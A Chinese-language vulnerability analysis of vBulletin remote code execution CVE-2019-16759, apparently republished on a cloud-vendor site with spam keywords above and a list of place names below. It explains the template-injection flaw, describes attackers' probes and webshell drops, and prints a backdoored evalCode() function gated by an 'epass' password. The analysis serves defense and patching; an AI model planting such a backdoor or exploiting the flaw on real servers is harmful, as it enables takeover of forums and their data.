中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何進行vBulletin預認證遠程代碼執行漏洞CVE-2019-16759分析

發布時間:2021-12-24 22:01:58 來源:億速云 閱讀:277 作者:柒染 欄目:安全技術

這篇文章給大家介紹如何進行vBulletin預認證遠程代碼執行漏洞CVE-2019-16759分析,內容非常詳細,感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。

vBulletin披露了一個最新的0 day漏洞細節,這個漏洞分配的CVE編號為CVE-2019-16759。與此同時,Unit 42的安全研究人員也在網上發現了有很多攻擊者正在利用該漏洞來實施攻擊。在該漏洞的幫助下,未經身份驗證的攻擊者將能夠訪問和控制運行了v5.0.0至v5.5.4版本vBulletin的服務器,并且阻止網絡管理員訪問這些服務器。目前,使用了vBulletin的網站數量大約有10萬多個,其中包括很多大型企業、組織和論壇,因此該漏洞應當立刻被修復。

在這篇文章中,我們會對這個漏洞的成因進行分析,并給出PoC演示代碼以及其他關于該漏洞的詳細信息。

漏洞成因分析

CVE-2019-16759是一個預認證遠程代碼執行漏洞,它的CVSS評分為9.8。vBulletin v 5.0.0版本中引入的一個Ajax渲染函數,而這個函數將引發PHP服務器端模板注入,并最終導致這個預認證遠程代碼執行漏洞出現。

首先,我們看一看index.php的代碼:

如何進行vBulletin預認證遠程代碼執行漏洞CVE-2019-16759分析

這段代碼會調用vB5_Frontend_ApplicationLight::isQuickRoute()來判斷請求是否為“quick route”,使用的方法是位于includes/vb5/frontend/applicationlight.php中的isQuickRoute():

如何進行vBulletin預認證遠程代碼執行漏洞CVE-2019-16759分析

在上圖中,如果請求以“ ajax/api”或“ajax/render”開頭,那么函數將會返回true,vB5_Frontend_ApplicationLight對象會被初始化。

如何進行vBulletin預認證遠程代碼執行漏洞CVE-2019-16759分析

當接收到的請求以“ajax/render”開頭,那么上圖顯示的處理器將會被設置為“callRender”:

如何進行vBulletin預認證遠程代碼執行漏洞CVE-2019-16759分析

上圖中的callRender()函數將會使用來自array_merge($_POST, $GET)的$routeInfo[2]和$params中的參數來進行模板渲染:

如何進行vBulletin預認證遠程代碼執行漏洞CVE-2019-16759分析

根據上圖的內容,vbulletin-style.xml文件中有一個widget_php模板,如果模板中的$widgetConfig[‘code’]不為空,并且$vboptions[‘disable_php_rendering’]也被禁用了的話,就會執行下列代碼:

{vb:action evaledPHP, bbcode, evalCode, {vb:raw widgetConfig.code}}               {vb:raw $evaledPHP}

如何進行vBulletin預認證遠程代碼執行漏洞CVE-2019-16759分析

上圖顯示的是evalCode()函數的代碼,$code中的命令會直接由PHPeval()函數執行。使用params參數構造的請求如下:

如何進行vBulletin預認證遠程代碼執行漏洞CVE-2019-16759分析

漏洞概念驗證PoC

由于參數routestring來自$_REQUEST,因此它可以通過$_GET、$_POST和$_COOKIE HTTP等方法來發送,而widgetConfig[code]可以通過$_GET或$_POST方法發送,因此我們構建了下列請求:

如何進行vBulletin預認證遠程代碼執行漏洞CVE-2019-16759分析

如何進行vBulletin預認證遠程代碼執行漏洞CVE-2019-16759分析

上圖顯示的是PoC代碼通過GET請求發送后phpinfo()函數運行的結果。

下圖顯示的是PoC代碼通過POST請求發送后phpinfo()函數運行的結果:

如何進行vBulletin預認證遠程代碼執行漏洞CVE-2019-16759分析

漏洞在野利用情況分析

目前,研究人員已經檢測到了多個該漏洞的在野利用實例了。如下圖所示,攻擊者嘗試執行了“die(@md5(HellovBulletin))”命令來判斷目標服務器是否存在這個漏洞,但由于請求中多了一個等號“=”,所以漏洞利用失敗了:

如何進行vBulletin預認證遠程代碼執行漏洞CVE-2019-16759分析

下圖顯示的是攻擊者嘗試在目標服務器的Web根目錄中創建一個名為“webconfig.txt.php”的文件:

如何進行vBulletin預認證遠程代碼執行漏洞CVE-2019-16759分析

下圖顯示的是webconfig.txt.php的內容以及一個one-line PHP webshell,它們將允許攻擊者向目標主機發送任意命令并實現命令的執行:

如何進行vBulletin預認證遠程代碼執行漏洞CVE-2019-16759分析

下圖顯示的是第三個在野漏洞利用例子,這里的攻擊者嘗試了覆蓋bbcode.php文件:

如何進行vBulletin預認證遠程代碼執行漏洞CVE-2019-16759分析

一旦利用成功,evalCode()函數將會變成下面這個樣子:

function evalCode($code){ob_start();if (isset($_REQUEST["epass"]) && $_REQUEST["epass"] == "2dmfrb28nu3c6s9j") { eval($code);}$output = ob_get_contents();ob_end_clean();return $output;}

通過以上內容,當“epass”通過請求中的值 “2dmfrb28nu3c6s9j”來發送時,目標主機將會執行evalCode()函數的代碼。

漏洞修復

研究人員建議廣大網絡管理員盡快將vBulletin更新到v5.5.2/3/4 Patch Level 1

關于如何進行vBulletin預認證遠程代碼執行漏洞CVE-2019-16759分析就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

绥江县| 错那县| 靖边县| 镇原县| 西昌市| 明光市| 马尔康县| 河西区| 清远市| 山西省| 五莲县| 西青区| 浮山县| 柳州市| 静宁县| 新沂市| 海宁市| 珲春市| 丽水市| 大丰市| 休宁县| 宝清县| 平遥县| 伊吾县| 读书| 环江| 信宜市| 梁山县| 图片| 申扎县| 高唐县| 五大连池市| 大丰市| 永昌县| 德格县| 铜山县| 噶尔县| 海门市| 凯里市| 资讯| 双流县|